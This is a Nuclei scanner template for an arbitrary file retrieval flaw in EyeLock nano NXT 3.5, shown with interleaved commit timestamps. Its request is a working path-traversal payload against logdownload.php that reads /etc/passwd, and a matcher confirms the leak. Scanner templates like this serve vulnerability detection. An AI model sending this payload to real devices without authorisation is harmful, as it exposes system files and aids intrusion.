2021-08-16 10:42:45 +00:00
id : eyelock-nano-lfd
info :
2022-05-13 20:26:43 +00:00
name : EyeLock nano NXT 3.5 - Arbitrary File Retrieval
2021-08-16 10:42:45 +00:00
author : geeknik
severity : high
2023-10-14 11:27:55 +00:00
description : EyeLock nano NXT suffers from a file retrieval vulnerability when input passed through the 'path' parameter to 'logdownload.php' script is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources.
2022-04-22 10:38:41 +00:00
reference :
- https://www.zeroscience.mk/codes/eyelock_lfd.txt
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : iot,lfi,eyelock
2021-08-16 10:42:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-16 10:42:45 +00:00
- method : GET
path :
- "{{BaseURL}}/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : status
status :
- 200
2023-10-14 11:27:55 +00:00
2021-08-16 10:42:45 +00:00
- type : regex
regex :
- "root:[x*]:0:0:"
part : body
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022032e52a55ea074d1260dcdd3cd9cca43408e1a518dfec633df2d5865351fd27a40221009f4d1d65699d6288cd8a54a263927849b4e093b88e3d61bb69fb0da42495cbc6:922c64590222798bb761d5b6d8e72950